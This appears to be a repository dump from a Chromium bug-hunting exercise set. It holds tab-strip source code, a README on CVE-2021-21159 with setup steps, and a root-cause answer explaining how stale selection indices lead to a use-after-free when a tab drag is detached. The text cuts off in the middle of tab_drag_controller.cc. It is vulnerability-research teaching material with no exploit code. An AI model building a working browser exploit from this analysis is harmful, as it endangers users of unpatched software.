1;\n}\n\nstd::vector<content::WebContents*> TabStripModel::GetWebContentsesByIndices(\n    const std::vector<int>& indices) {\n  std::vector<content::WebContents*> items;\n  items.reserve(indices.size());\n  for (int index : indices)\n    items.push_back(GetWebContentsAtImpl(index));\n  return items;\n}\n\nint TabStripModel::InsertWebContentsAtImpl(\n    int index,\n    std::unique_ptr<content::WebContents> contents,\n    int add_types,\n    absl::optional<tab_groups::TabGroupId> group) {\n  delegate()->WillAddWebContents(contents.get());\n\n  bool active = (add_types & ADD_ACTIVE) != 0;\n  bool pin = (add_types & ADD_PINNED) != 0;\n  index = ConstrainInsertionIndex(index, pin);\n\n  // Have to get the active contents before we monkey with the contents\n  // otherwise we run into problems when we try to change the active contents\n  // since the old contents and the new contents will be the same...\n  WebContents* active_contents = GetActiveWebContents();\n  WebContents* raw_contents = contents.get();\n  std::unique_ptr<WebContentsData> data =\n      std::make_unique<WebContentsData>(std::move(contents));\n  data->set_pinned(pin);\n  if ((add_types & ADD_INHERIT_OPENER) && active_contents) {\n    if (active) {\n      // Forget any existing relationships, we don't want to make things too\n      // confusing by having multiple openers active at the same time.\n      ForgetAllOpeners();\n    }\n    data->set_opener(active_contents);\n  }\n\n  // TODO(gbillock): Ask the modal dialog manager whether the WebContents should\n  // be blocked, or just let the modal dialog manager make the blocking call\n  // directly and not use this at all.\n  const web_modal::WebContentsModalDialogManager* manager =\n      web_modal::WebContentsModalDialogManager::FromWebContents(raw_contents);\n  if (manager)\n    data->set_blocked(manager->IsDialogActive());\n\n  TabStripSelectionChange selection(GetActiveWebContents(), selection_model_);\n\n  contents_data_.insert(contents_data_.begin() + index, std::move(data));\n\n  selection_model_.IncrementFrom(index);\n\n  if (active) {\n    ui::ListSelectionModel new_model = selection_model_;\n    new_model.SetSelectedIndex(index);\n    selection = SetSelection(std::move(new_model),\n                             TabStripModelObserver::CHANGE_REASON_NONE,\n                             /*triggered_by_other_operation=*/true);\n  }\n\n  TabStripModelChange::Insert insert;\n  insert.contents.push_back({raw_contents, index});\n  TabStripModelChange change(std::move(insert));\n  for (auto& observer : observers_)\n    observer.OnTabStripModelChanged(this, change, selection);\n  if (group.has_value())\n    GroupTab(index, group.value());\n\n  return index;\n}\n\nbool TabStripModel::InternalCloseTabs(\n    base::span<content::WebContents* const> items,\n    uint32_t close_types) {\n  if (items.empty())\n    return true;\n\n  const bool closing_all = static_cast<int>(items.size()) == count();\n  base::WeakPtr<TabStripModel> ref = weak_factory_.GetWeakPtr();\n  if (closing_all) {\n    for (auto& observer : observers_)\n      observer.WillCloseAllTabs(this);\n  }\n\n  DetachNotifications notifications(GetWebContentsAtImpl(active_index()),\n                                    selection_model_);\n  const bool closed_all =\n      CloseWebContentses(items, close_types, &notifications);\n\n  // When unload handler is triggered for all items, we should wait for the\n  // result.\n  if (!notifications.detached_web_contents.empty())\n    SendDetachWebContentsNotifications(&notifications);\n\n  if (!ref)\n    return closed_all;\n  if (closing_all) {\n    // CloseAllTabsStopped is sent with reason kCloseAllCompleted if\n    // closed_all; otherwise kCloseAllCanceled is sent.\n    for (auto& observer : observers_)\n      observer.CloseAllTabsStopped(\n          this, closed_all ? TabStripModelObserver::kCloseAllCompleted\n                           : TabStripModelObserver::kCloseAllCanceled);\n  }\n\n  return closed_all;\n}\n\nbool TabStripModel::CloseWebContentses(\n    base::span<content::WebContents* const> items,\n    uint32_t close_types,\n    DetachNotifications* notifications) {\n  if (items.empty())\n    return true;\n\n  // We only try the fast shutdown path if the whole browser process is *not*\n  // shutting down. Fast shutdown during browser termination is handled in\n  // browser_shutdown::OnShutdownStarting.\n  if (!browser_shutdown::HasShutdownStarted()) {\n    // Construct a map of processes to the number of associated tabs that are\n    // closing.\n    base::flat_map<content::RenderProcessHost*, size_t> processes;\n    for (content::WebContents* contents : items) {\n      if (ShouldRunUnloadListenerBeforeClosing(contents))\n        continue;\n      content::RenderProcessHost* process =\n          contents->GetMainFrame()->GetProcess();\n      ++processes[process];\n    }\n\n    // Try to fast shutdown the tabs that can close.\n    for (const auto& pair : processes)\n      pair.first->FastShutdownIfPossible(pair.second, false);\n  }\n\n  // We now return to our regularly scheduled shutdown procedure.\n  bool closed_all = true;\n\n  // The indices of WebContents prior to any modification of the internal state.\n  std::vector<int> original_indices;\n  original_indices.resize(items.size());\n  for (size_t i = 0; i < items.size(); ++i)\n    original_indices[i] = GetIndexOfWebContents(items[i]);\n\n  for (size_t i = 0; i < items.size(); ++i) {\n    WebContents* closing_contents = items[i];\n\n    // The index into contents_data_.\n    int current_index = GetIndexOfWebContents(closing_contents);\n    DCHECK_NE(current_index, kNoTab);\n\n    // Update the explicitly closed state. If the unload handlers cancel the\n    // close the state is reset in Browser. We don't update the explicitly\n    // closed state if already marked as explicitly closed as unload handlers\n    // call back to this if the close is allowed.\n    if (!closing_contents->GetClosedByUserGesture()) {\n      closing_contents->SetClosedByUserGesture(\n          close_types & TabStripModel::CLOSE_USER_GESTURE);\n    }\n\n    if (RunUnloadListenerBeforeClosing(closing_contents)) {\n      closed_all = false;\n      continue;\n    }\n\n    std::unique_ptr<DetachedWebContents> dwc =\n        std::make_unique<DetachedWebContents>(\n            original_indices[i], current_index,\n            DetachWebContentsImpl(current_index,\n                                  close_types & CLOSE_CREATE_HISTORICAL_TAB),\n            /*will_delete=*/true);\n    notifications->detached_web_contents.push_back(std::move(dwc));\n  }\n\n  return closed_all;\n}\n\nWebContents* TabStripModel::GetWebContentsAtImpl(int index) const {\n  CHECK(ContainsIndex(index))\n      << \"Failed to find: \" << index << \" in: \" << count() << \" entries.\";\n  return contents_data_[index]->web_contents();\n}\n\nTabStripSelectionChange TabStripModel::SetSelection(\n    ui::ListSelectionModel new_model,\n    TabStripModelObserver::ChangeReason reason,\n    bool triggered_by_other_operation) {\n  TabStripSelectionChange selection;\n  selection.old_model = selection_model_;\n  selection.old_contents = GetActiveWebContents();\n  selection.new_model = new_model;\n  selection.reason = reason;\n\n#if DCHECK_IS_ON()\n  // Validate that |new_model| only selects tabs that actually exist.\n  DCHECK(ContainsIndex(new_model.active()));\n  for (int selected_index : new_model.selected_indices()) {\n    DCHECK(ContainsIndex(selected_index));\n  }\n#endif\n\n  // This is done after notifying TabDeactivated() because caller can assume\n  // that TabStripModel::active_index() would return the index for\n  // |selection.old_contents|.\n  selection_model_ = new_model;\n  selection.new_contents = GetActiveWebContents();\n\n  if (!triggered_by_other_operation &&\n      (selection.active_tab_changed() || selection.selection_changed())) {\n    if (selection.active_tab_changed()) {\n      auto now = base::TimeTicks::Now();\n      if (selection.new_contents &&\n          selection.new_contents->GetRenderWidgetHostView()) {\n        auto input_event_timestamp =\n            tab_switch_event_latency_recorder_.input_event_timestamp();\n        // input_event_timestamp may be null in some cases, e.g. in tests.\n        selection.new_contents->GetRenderWidgetHostView()\n            ->SetRecordContentToVisibleTimeRequest(\n                !input_event_timestamp.is_null() ? input_event_timestamp : now,\n                resource_coordinator::ResourceCoordinatorTabHelper::IsLoaded(\n                    selection.new_contents),\n                /*show_reason_tab_switching=*/true,\n                /*show_reason_unoccluded=*/false,\n                /*show_reason_bfcache_restore=*/false);\n      }\n      tab_switch_event_latency_recorder_.OnWillChangeActiveTab(now);\n    }\n    TabStripModelChange change;\n    auto visibility_tracker = InstallRenderWigetVisibilityTracker(selection);\n    for (auto& observer : observers_)\n      observer.OnTabStripModelChanged(this, change, selection);\n  }\n\n  return selection;\n}\n\nvoid TabStripModel::SelectRelativeTab(bool next, UserGestureDetails detail) {\n  // This may happen during automated testing or if a user somehow buffers\n  // many key accelerators.\n  if (contents_data_.empty())\n    return;\n\n  const int start_index = active_index();\n  absl::optional<tab_groups::TabGroupId> start_group =\n      GetTabGroupForTab(start_index);\n\n  // Ensure the active tab is not in a collapsed group so the while loop can\n  // fallback on activating the active tab.\n  DCHECK(!start_group.has_value() || !IsGroupCollapsed(start_group.value()));\n  const int delta = next ? 1 : -1;\n  int index = (start_index + count() + delta) % count();\n  absl::optional<tab_groups::TabGroupId> group = GetTabGroupForTab(index);\n  while (group.has_value() && IsGroupCollapsed(group.value())) {\n    index = (index + count() + delta) % count();\n    group = GetTabGroupForTab(index);\n  }\n  ActivateTabAt(index, detail);\n}\n\nvoid TabStripModel::MoveTabRelative(bool forward) {\n  const int offset = forward ? 1 : -1;\n\n  // TODO: this needs to be updated for multi-selection.\n  const int current_index = active_index();\n  absl::optional<tab_groups::TabGroupId> current_group =\n      GetTabGroupForTab(current_index);\n\n  int target_index = std::max(std::min(current_index + offset, count() - 1), 0);\n  absl::optional<tab_groups::TabGroupId> target_group =\n      GetTabGroupForTab(target_index);\n\n  // If the tab is at a group boundary and the group is expanded, instead of\n  // actually moving the tab just change its group membership.\n  if (current_group != target_group) {\n    if (current_group.has_value()) {\n      UngroupTab(current_index);\n      return;\n    } else if (target_group.has_value()) {\n      // If the tab is at a group boundary and the group is collapsed, treat the\n      // collapsed group as a tab and find the next available slot for the tab\n      // to move to.\n      const TabGroup* group = group_model_->GetTabGroup(target_group.value());\n      if (group->visual_data()->is_collapsed()) {\n        const gfx::Range tabs_in_group = group->ListTabs();\n        target_index =\n            forward ? tabs_in_group.end() - 1 : tabs_in_group.start();\n      } else {\n        GroupTab(current_index, target_group.value());\n        return;\n      }\n    }\n  }\n  MoveWebContentsAt(current_index, target_index, true);\n}\n\nvoid TabStripModel::MoveWebContentsAtImpl(int index,\n                                          int to_position,\n                                          bool select_after_move) {\n  FixOpeners(index);\n\n  TabStripSelectionChange selection(GetActiveWebContents(), selection_model_);\n\n  std::unique_ptr<WebContentsData> moved_data =\n      std::move(contents_data_[index]);\n  WebContents* web_contents = moved_data->web_contents();\n  contents_data_.erase(contents_data_.begin() + index);\n  contents_data_.insert(contents_data_.begin() + to_position,\n                        std::move(moved_data));\n\n  selection_model_.Move(index, to_position, 1);\n  if (!selection_model_.IsSelected(to_position) && select_after_move)\n    selection_model_.SetSelectedIndex(to_position);\n  selection.new_model = selection_model_;\n\n  TabStripModelChange::Move move;\n  move.contents = web_contents;\n  move.from_index = index;\n  move.to_index = to_position;\n  TabStripModelChange change(move);\n  for (auto& observer : observers_)\n    observer.OnTabStripModelChanged(this, change, selection);\n}\n\nvoid TabStripModel::MoveSelectedTabsToImpl(int index,\n                                           size_t start,\n                                           size_t length) {\n  DCHECK(start < selection_model_.selected_indices().size() &&\n         start + length <= selection_model_.selected_indices().size());\n  size_t end = start + length;\n  int count_before_index = 0;\n  const ui::ListSelectionModel::SelectedIndices& sel =\n      selection_model_.selected_indices();\n  auto indices = std::vector<int>(sel.begin(), sel.end());\n\n  for (size_t i = start; i < end; ++i) {\n    if (indices[i] < index + count_before_index)\n      count_before_index++;\n  }\n\n  // First move those before index. Any tabs before index end up moving in the\n  // selection model so we use start each time through.\n  int target_index = index + count_before_index;\n  size_t tab_index = start;\n  while (tab_index < end && indices[start] < index) {\n    MoveWebContentsAtImpl(indices[start], target_index - 1, false);\n    // It is necessary to re-populate selected indices because\n    // MoveWebContetsAtImpl mutates selection_model_.\n    const auto& new_sel = selection_model_.selected_indices();\n    indices = std::vector<int>(new_sel.begin(), new_sel.end());\n    tab_index++;\n  }\n\n  // Then move those after the index. These don't result in reordering the\n  // selection, therefore there is no need to repopulate indices.\n  while (tab_index < end) {\n    if (indices[tab_index] != target_index) {\n      MoveWebContentsAtImpl(indices[tab_index], target_index, false);\n    }\n    tab_index++;\n    target_index++;\n  }\n}\n\nvoid TabStripModel::AddToNewGroupImpl(const std::vector<int>& indices,\n                                      const tab_groups::TabGroupId& new_group) {\n  DCHECK(!std::any_of(\n      contents_data_.cbegin(), contents_data_.cend(),\n      [new_group](const auto& datum) { return datum->group() == new_group; }));\n\n  group_model_->AddTabGroup(new_group, absl::nullopt);\n\n  // Find a destination for the first tab that's not pinned or inside another\n  // group. We will stack the rest of the tabs up to its right.\n  int destination_index = -1;\n  for (int i = indices[0]; i < count(); i++) {\n    const int destination_candidate = i + 1;\n\n    // Grouping at the end of the tabstrip is always valid.\n    if (!ContainsIndex(destination_candidate)) {\n      destination_index = destination_candidate;\n      break;\n    }\n\n    // Grouping in the middle of pinned tabs is never valid.\n    if (IsTabPinned(destination_candidate))\n      continue;\n\n    // Otherwise, grouping is valid if the destination is not in the middle of a\n    // different group.\n    absl::optional<tab_groups::TabGroupId> destination_group =\n        GetTabGroupForTab(destination_candidate);\n    if (!destination_group.has_value() ||\n        destination_group != GetTabGroupForTab(indices[0])) {\n      destination_index = destination_candidate;\n      break;\n    }\n  }\n\n  MoveTabsAndSetGroupImpl(indices, destination_index, new_group);\n}\n\nvoid TabStripModel::AddToExistingGroupImpl(\n    const std::vector<int>& indices,\n    const tab_groups::TabGroupId& group) {\n  // Do nothing if the \"existing\" group can't be found. This would only happen\n  // if the existing group is closed programmatically while the user is\n  // interacting with the UI - e.g. if a group close operation is started by an\n  // extension while the user clicks \"Add to existing group\" in the context\n  // menu.\n  // If this happens, the browser should not crash. So here we just make it a\n  // no-op, since we don't want to create unintended side effects in this rare\n  // corner case.\n  if (!group_model_->ContainsTabGroup(group))\n    return;\n\n  const TabGroup* group_object = group_model_->GetTabGroup(group);\n  int first_tab_in_group = group_object->GetFirstTab().value();\n  int last_tab_in_group = group_object->GetLastTab().value();\n\n  // Split |new_indices| into |tabs_left_of_group| and |tabs_right_of_group| to\n  // be moved to proper destination index. Directly set the group for indices\n  // that are inside the group.\n  std::vector<int> tabs_left_of_group;\n  std::vector<int> tabs_right_of_group;\n  for (int index : indices) {\n    if (index >= first_tab_in_group && index <= last_tab_in_group) {\n      GroupTab(index, group);\n    } else if (index < first_tab_in_group) {\n      tabs_left_of_group.push_back(index);\n    } else {\n      tabs_right_of_group.push_back(index);\n    }\n  }\n\n  MoveTabsAndSetGroupImpl(tabs_left_of_group, first_tab_in_group, group);\n  MoveTabsAndSetGroupImpl(tabs_right_of_group, last_tab_in_group + 1, group);\n}\n\nvoid TabStripModel::MoveTabsAndSetGroupImpl(\n    const std::vector<int>& indices,\n    int destination_index,\n    absl::optional<tab_groups::TabGroupId> group) {\n  // Some tabs will need to be moved to the right, some to the left. We need to\n  // handle those separately. First, move tabs to the right, starting with the\n  // rightmost tab so we don't cause other tabs we are about to move to shift.\n  int numTabsMovingRight = 0;\n  for (size_t i = 0; i < indices.size() && indices[i] < destination_index;\n       i++) {\n    numTabsMovingRight++;\n  }\n  for (int i = numTabsMovingRight - 1; i >= 0; i--) {\n    MoveAndSetGroup(indices[i], destination_index - numTabsMovingRight + i,\n                    group);\n  }\n\n  // Collect indices for tabs moving to the left.\n  std::vector<int> move_left_indices;\n  for (size_t i = numTabsMovingRight; i < indices.size(); i++) {\n    move_left_indices.push_back(indices[i]);\n  }\n\n  // Move tabs to the left, starting with the leftmost tab.\n  for (size_t i = 0; i < move_left_indices.size(); i++)\n    MoveAndSetGroup(move_left_indices[i], destination_index + i, group);\n}\n\nvoid TabStripModel::MoveAndSetGroup(\n    int index,\n    int new_index,\n    absl::optional<tab_groups::TabGroupId> new_group) {\n  if (new_group.has_value()) {\n    // Unpin tabs when grouping -- the states should be mutually exclusive.\n    // Here we manually unpin the tab to avoid moving the tab twice, which can\n    // potentially cause race conditions.\n    if (IsTabPinned(index)) {\n      contents_data_[index]->set_pinned(false);\n      for (auto& observer : observers_) {\n        observer.TabPinnedStateChanged(\n            this, contents_data_[index]->web_contents(), index);\n      }\n    }\n\n    GroupTab(index, new_group.value());\n  } else {\n    UngroupTab(index);\n  }\n\n  if (index != new_index)\n    MoveWebContentsAtImpl(index, new_index, false);\n}\n\nvoid TabStripModel::AddToReadLaterImpl(const std::vector<int>& indices) {\n  ReadingListModel* model =\n      ReadingListModelFactory::GetForBrowserContext(profile_);\n  if (!model || !model->loaded())\n    return;\n\n  for (int index : indices) {\n    WebContents* contents = GetWebContentsAt(index);\n    chrome::MoveTabToReadLater(chrome::FindBrowserWithWebContents(contents),\n                               contents);\n  }\n}\n\nabsl::optional<tab_groups::TabGroupId> TabStripModel::UngroupTab(int index) {\n  absl::optional<tab_groups::TabGroupId> group = GetTabGroupForTab(index);\n  if (!group.has_value())\n    return absl::nullopt;\n\n  // Update the tab.\n  contents_data_[index]->set_group(absl::nullopt);\n  for (auto& observer : observers_) {\n    observer.TabGroupedStateChanged(\n        absl::nullopt, contents_data_[index]->web_contents(), index);\n  }\n\n  // Update the group model.\n  TabGroup* tab_group = group_model_->GetTabGroup(group.value());\n  tab_group->RemoveTab();\n  if (tab_group->IsEmpty())\n    group_model_->RemoveTabGroup(group.value());\n\n  return group;\n}\n\nvoid TabStripModel::GroupTab(int index, const tab_groups::TabGroupId& group) {\n  // Check for an old group first, so that any groups that are changed can be\n  // notified appropriately.\n  absl::optional<tab_groups::TabGroupId> old_group = GetTabGroupForTab(index);\n  if (old_group.has_value()) {\n    if (old_group.value() == group)\n      return;\n    else\n      UngroupTab(index);\n  }\n  contents_data_[index]->set_group(group);\n  for (auto& observer : observers_) {\n    observer.TabGroupedStateChanged(\n        group, contents_data_[index]->web_contents(), index);\n  }\n\n  group_model_->GetTabGroup(group)->AddTab();\n}\n\nvoid TabStripModel::SetTabPinnedImpl(int index, bool pinned) {\n  DCHECK(ContainsIndex(index));\n  if (contents_data_[index]->pinned() == pinned)\n    return;\n\n  // Upgroup tabs if pinning -- the states should be mutually exclusive.\n  if (pinned)\n    UngroupTab(index);\n\n  // The tab's position may have to change as the pinned tab state is changing.\n  int non_pinned_tab_index = IndexOfFirstNonPinnedTab();\n  contents_data_[index]->set_pinned(pinned);\n  if (pinned && index != non_pinned_tab_index) {\n    MoveWebContentsAtImpl(index, non_pinned_tab_index, false);\n    index = non_pinned_tab_index;\n  } else if (!pinned && index + 1 != non_pinned_tab_index) {\n    MoveWebContentsAtImpl(index, non_pinned_tab_index - 1, false);\n    index = non_pinned_tab_index - 1;\n  }\n\n  for (auto& observer : observers_) {\n    observer.TabPinnedStateChanged(this, contents_data_[index]->web_contents(),\n                                   index);\n  }\n}\n\nstd::vector<int> TabStripModel::SetTabsPinned(const std::vector<int>& indices,\n                                              bool pinned) {\n  std::vector<int> new_indices;\n  if (pinned) {\n    for (size_t i = 0; i < indices.size(); i++) {\n      if (IsTabPinned(indices[i])) {\n        new_indices.push_back(indices[i]);\n      } else {\n        SetTabPinnedImpl(indices[i], true);\n        new_indices.push_back(IndexOfFirstNonPinnedTab() - 1);\n      }\n    }\n  } else {\n    for (size_t i = indices.size() - 1; i < indices.size(); i--) {\n      if (!IsTabPinned(indices[i])) {\n        new_indices.push_back(indices[i]);\n      } else {\n        SetTabPinnedImpl(indices[i], false);\n        new_indices.push_back(IndexOfFirstNonPinnedTab());\n      }\n    }\n    std::reverse(new_indices.begin(), new_indices.end());\n  }\n  return new_indices;\n}\n\n// Sets the sound content setting for each site at the |indices|.\nvoid TabStripModel::SetSitesMuted(const std::vector<int>& indices,\n                                  bool mute) const {\n  for (int tab_index : indices) {\n    content::WebContents* web_contents = GetWebContentsAt(tab_index);\n    GURL url = web_contents->GetLastCommittedURL();\n    if (url.SchemeIs(content::kChromeUIScheme)) {\n      // chrome:// URLs don't have content settings but can be muted, so just\n      // mute the WebContents.\n      chrome::SetTabAudioMuted(web_contents, mute,\n                               TabMutedReason::CONTENT_SETTING_CHROME,\n                               std::string());\n    } else {\n      Profile* profile =\n          Profile::FromBrowserContext(web_contents->GetBrowserContext());\n      HostContentSettingsMap* settings =\n          HostContentSettingsMapFactory::GetForProfile(profile);\n      ContentSetting setting =\n          mute ? CONTENT_SETTING_BLOCK : CONTENT_SETTING_ALLOW;\n\n      if (!profile->IsIncognitoProfile() &&\n          setting == settings->GetDefaultContentSetting(\n                         ContentSettingsType::SOUND, nullptr)) {\n        setting = CONTENT_SETTING_DEFAULT;\n      }\n      settings->SetContentSettingDefaultScope(\n          url, url, ContentSettingsType::SOUND, setting);\n    }\n  }\n}\n\nvoid TabStripModel::FixOpeners(int index) {\n  WebContents* old_contents = GetWebContentsAtImpl(index);\n  WebContents* new_opener = GetOpenerOfWebContentsAt(index);\n\n  for (auto& data : contents_data_) {\n    if (data->opener() != old_contents)\n      continue;\n\n    // Ensure a tab isn't its own opener.\n    data->set_opener(new_opener == data->web_contents() ? nullptr : new_opener);\n  }\n\n  // Sanity check that none of the tabs' openers refer |old_contents| or\n  // themselves.\n  DCHECK(!std::any_of(\n      contents_data_.begin(), contents_data_.end(),\n      [old_contents](const std::unique_ptr<WebContentsData>& data) {\n        return data->opener() == old_contents ||\n               data->opener() == data->web_contents();\n      }));\n}\n\nvoid TabStripModel::EnsureGroupContiguity(int index) {\n  const auto old_group = GetTabGroupForTab(index);\n  const auto new_left_group = GetTabGroupForTab(index - 1);\n  const auto new_right_group = GetTabGroupForTab(index + 1);\n\n  if (old_group != new_left_group && old_group != new_right_group) {\n    if (new_left_group == new_right_group && new_left_group.has_value()) {\n      // The tab is in the middle of an existing group, so add it to that group.\n      GroupTab(index, new_left_group.value());\n    } else if (old_group.has_value() &&\n               group_model_->GetTabGroup(old_group.value())->tab_count() > 1) {\n      // The tab is between groups and its group is non-contiguous, so clear\n      // this tab's group.\n      UngroupTab(index);\n    }\n  }\n}\n"
  },
  {
    "path": "LEVEL_2/exercise_5/README.md",
    "content": "# Exercise 5\n\nIn LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far away from the real bug hunting scene. therefore in LEVEL 2 we do the same as LEVEL 1 without the help of Details.\n\n## CVE-2021-21159\nI sugget you don't search any report about it to prevents get too much info like patch.\n\n\n### Details\n\nIn level 2, we do it without the help of Details\n\n\n---------\n\n<details>\n  <summary>For more info click me! But you'd better not do this</summary>\n\n  https://bugs.chromium.org/p/chromium/issues/detail?id=1171049\n\n</details>\n\n--------\n\n### Set environment\n\nafter you fetch chromium\n```sh\ngit reset --hard ae7b398ad2ba00cbf901fda43305ad9b371d534a\n```\n\n### Related code\nchrome/browser/ui/views/tabs/tab_drag_controller.cc\n\nchrome/browser/ui/tabs/tab_strip_model.cc\n\nyou have to read the `tab_drag_controller.h` and `tab_strip_model.h` to understand some nouns.\n\ntips:\n\n**TabDragController**\n```c++\n// TabDragController is responsible for managing the tab dragging session. When\n// the user presses the mouse on a tab a new TabDragController is created and\n// Drag() is invoked as the mouse is dragged. If the mouse is dragged far enough\n// TabDragController starts a drag session. The drag session is completed when\n// EndDrag() is invoked (or the TabDragController is destroyed).\n//\n// While dragging within a tab strip TabDragController sets the bounds of the\n// tabs (this is referred to as attached). When the user drags far enough such\n// that the tabs should be moved out of the tab strip a new Browser is created\n// and RunMoveLoop() is invoked on the Widget to drag the browser around. This\n// is the default on aura.\n```\n**TabStripModel**\n```c++\n// TabStripModel\n//\n// A model & low level controller of a Browser Window tabstrip. Holds a vector\n// of WebContentses, and provides an API for adding, removing and\n// shuffling them, as well as a higher level API for doing specific Browser-\n// related tasks like adding new Tabs from just a URL, etc.\n//\n// Each tab may be pinned. Pinned tabs are locked to the left side of the tab\n// strip and rendered differently (small tabs with only a favicon). The model\n// makes sure all pinned tabs are at the beginning of the tab strip. For\n// example, if a non-pinned tab is added it is forced to be with non-pinned\n// tabs. Requests to move tabs outside the range of the tab type are ignored.\n// For example, a request to move a pinned tab after non-pinned tabs is ignored.\n//\n// A TabStripModel has one delegate that it relies on to perform certain tasks\n// like creating new TabStripModels (probably hosted in Browser windows) when\n// required. See TabStripDelegate above for more information.\n//\n// A TabStripModel also has N observers (see TabStripModelObserver above),\n// which can be registered via Add/RemoveObserver. An Observer is notified of\n// tab creations, removals, moves, and other interesting events. The\n// TabStrip implements this interface to know when to create new tabs in\n// the View, and the Browser object likewise implements to be able to update\n// its bookkeeping when such events happen.\n//\n// This implementation of TabStripModel is not thread-safe and should only be\n// accessed on the UI thread.\n```\n### Do it\nDo this exercise by yourself, If you find my answer have something wrong, please correct it.\n\n\n---------\n\n<details>\n  <summary>My answer</summary>\n\n  ```c++\n  // Restores |initial_selection_model_| to the |source_context_|.\nvoid TabDragController::RestoreInitialSelection() {\n  // First time detaching from the source tabstrip. Reset selection model to\n  // initial_selection_model_. Before resetting though we have to remove all\n  // the tabs from initial_selection_model_ as it was created with the tabs\n  // still there.\n  ui::ListSelectionModel selection_model = initial_selection_model_;   [1]\n  for (DragData::const_reverse_iterator i(drag_data_.rbegin());\n       i != drag_data_.rend(); ++i) {\n    if (i->source_model_index != TabStripModel::kNoTab)\n      selection_model.DecrementFrom(i->source_model_index);\n  }\n  // We may have cleared out the selection model. Only reset it if it\n  // contains something.\n  if (selection_model.empty())\n    return;\n\n  // The anchor/active may have been among the tabs that were dragged out. Force\n  // the anchor/active to be valid.\n  if (selection_model.anchor() == ui::ListSelectionModel::kUnselectedIndex)\n    selection_model.set_anchor(*selection_model.selected_indices().begin());\n  if (selection_model.active() == ui::ListSelectionModel::kUnselectedIndex)\n    selection_model.set_active(*selection_model.selected_indices().begin());\n  source_context_->GetTabStripModel()->SetSelectionFromModel(selection_model); [2]\n}\n=================================================================\nvoid TabStripModel::SetSelectionFromModel(ui::ListSelectionModel source) {\n  DCHECK_NE(ui::ListSelectionModel::kUnselectedIndex, source.active());\n  SetSelection(std::move(source), TabStripModelObserver::CHANGE_REASON_NONE,  [3]\n               /*triggered_by_other_operation=*/false);\n}\n  ```\n  [1] make `selection_model == initial_selection_model_`\n\n  > Tabs in |source_context_| may have closed since the drag began. In that\n  > case, |initial_selection_model_| may include indices that are no longer\n  > valid in |source_context_|.\n\n  [2]|[3] call `SetSelection` and `selection_model` as its parameter which have unvalid indices.\n\n  ```c++\nTabStripSelectionChange TabStripModel::SetSelection(\n    ui::ListSelectionModel new_model,\n    TabStripModelObserver::ChangeReason reason,\n    bool triggered_by_other_operation) {\n  TabStripSelectionChange selection;\n  selection.old_model = selection_model_;\n  selection.old_contents = GetActiveWebContents();\n  selection.new_model = new_model;\n  selection.reason = reason;\n\n  // This is done after notifying TabDeactivated() because caller can assume\n  // that TabStripModel::active_index() would return the index for\n  // |selection.old_contents|.\n  selection_model_ = new_model;                                 [4]\n  selection.new_contents = GetActiveWebContents();\n\n  if (!triggered_by_other_operation &&\n      (selection.active_tab_changed() || selection.selection_changed())) {\n    if (selection.active_tab_changed()) {\n      auto now = base::TimeTicks::Now();\n      if (selection.new_contents &&\n          selection.new_contents->GetRenderWidgetHostView()) {\n        auto input_event_timestamp =\n            tab_switch_event_latency_recorder_.input_event_timestamp();\n        // input_event_timestamp may be null in some cases, e.g. in tests.\n        selection.new_contents->GetRenderWidgetHostView()\n            ->SetRecordContentToVisibleTimeRequest(\n                !input_event_timestamp.is_null() ? input_event_timestamp : now,\n                resource_coordinator::ResourceCoordinatorTabHelper::IsLoaded(\n                    selection.new_contents),\n                /*show_reason_tab_switching=*/true,\n                /*show_reason_unoccluded=*/false,\n                /*show_reason_bfcache_restore=*/false);\n      }\n      tab_switch_event_latency_recorder_.OnWillChangeActiveTab(now);\n    }\n    TabStripModelChange change;\n    auto visibility_tracker = InstallRenderWigetVisibilityTracker(selection);\n    for (auto& observer : observers_)\n      observer.OnTabStripModelChanged(this, change, selection);\n  }\n\n  return selection;\n}\n  ```\n  [4] Notice that `SetSelection` have no check about whether the `new_model.selected_indices()` are exist.\n\n  In a word, detaching a drag after a tab closed will trigger the uaf.\n</details>\n\n--------\n"
  },
  {
    "path": "LEVEL_2/exercise_5/tab_drag_controller.cc",
    "content": "// Copyright (c) 2012 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n#include \"chrome/browser/ui/views/tabs/tab_drag_controller.h\"\n\n#include <algorithm>\n#include <limits>\n#include <set>\n#include <utility>\n\n#include \"base/auto_reset.h\"\n#include \"base/bind.h\"\n#include \"base/callback.h\"\n#include \"base/containers/contains.h\"\n#include \"base/i18n/rtl.h\"\n#include \"base/numerics/ranges.h\"\n#include \"base/numerics/safe_conversions.h\"\n#include \"build/build_config.h\"\n#include \"build/chromeos_buildflags.h\"\n#include \"chrome/browser/chrome_notification_types.h\"\n#include \"chrome/browser/profiles/profile.h\"\n#include \"chrome/browser/ui/browser_commands.h\"\n#include \"chrome/browser/ui/browser_list.h\"\n#include \"chrome/browser/ui/browser_window.h\"\n#include \"chrome/browser/ui/layout_constants.h\"\n#include \"chrome/browser/ui/sad_tab_helper.h\"\n#include \"chrome/browser/ui/tabs/tab_group.h\"\n#include \"chrome/browser/ui/tabs/tab_group_model.h\"\n#include \"chrome/browser/ui/tabs/tab_strip_model.h\"\n#include \"chrome/browser/ui/tabs/tab_strip_model_delegate.h\"\n#include \"chrome/browser/ui/ui_features.h\"\n#include \"chrome/browser/ui/views/frame/browser_non_client_frame_view.h\"\n#include \"chrome/browser/ui/views/frame/browser_view.h\"\n#include \"chrome/browser/ui/views/tabs/tab.h\"\n#include \"chrome/browser/ui/views/tabs/tab_slot_view.h\"\n#include \"chrome/browser/ui/views/tabs/tab_strip.h\"\n#include \"chrome/browser/ui/views/tabs/tab_strip_layout_helper.h\"\n#include \"chrome/browser/ui/views/tabs/tab_style_views.h\"\n#include \"chrome/browser/ui/views/tabs/window_finder.h\"\n#include \"components/tab_groups/tab_group_id.h\"\n#include \"content/public/browser/notification_service.h\"\n#include \"content/public/browser/notification_source.h\"\n#include \"content/public/browser/web_contents.h\"\n#include \"ui/display/display.h\"\n#include \"ui/display/screen.h\"\n#include \"ui/events/gestures/gesture_recognizer.h\"\n#include \"ui/events/types/event_type.h\"\n#include \"ui/gfx/geometry/point_conversions.h\"\n#include \"ui/views/event_monitor.h\"\n#include \"ui/views/view_tracker.h\"\n#include \"ui/views/widget/root_view.h\"\n\n#if BUILDFLAG(IS_CHROMEOS_ASH)\n#include \"ash/public/cpp/ash_features.h\"\n#include \"ash/public/cpp/tablet_mode.h\"\n#include 